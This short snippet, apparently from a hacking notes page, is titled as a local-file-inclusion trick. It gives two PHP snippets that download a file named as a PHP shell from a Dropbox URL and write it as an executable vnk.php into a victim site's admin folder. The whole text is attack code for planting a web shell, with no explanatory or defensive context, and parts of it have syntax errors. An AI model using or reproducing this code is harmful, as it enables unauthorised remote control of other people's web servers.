LFI - Hạ safe mode ON

<?php
touch(vnk.php);
chmod("vnk.php", 0755);
$fin=fopen("http://dl.dropbox.com/u/10860051/shell/PHP/vnk.txt",r)or exit("false 1");
$fout=fopen("/home/victim/domains/victim.com/public_html/admin/vnk.php",a)or exit("false 2");
while(!feof($fin))
{
    fwrite($fout,fgets($fin));
}fclose($fin);
fclose($fout);
?>

<?php
touch(vnk.php);
chmod("vnk.php", 0755);
$fout=fopen("/home/victim/domains/victim.com/public_html/admin/vnk.php",a)or exit("false");
fwrite($fout,file_get_contents(http://dl.dropbox.com/u/10860051/shell/PHP/vnk.txt));
fclose($fout);
?>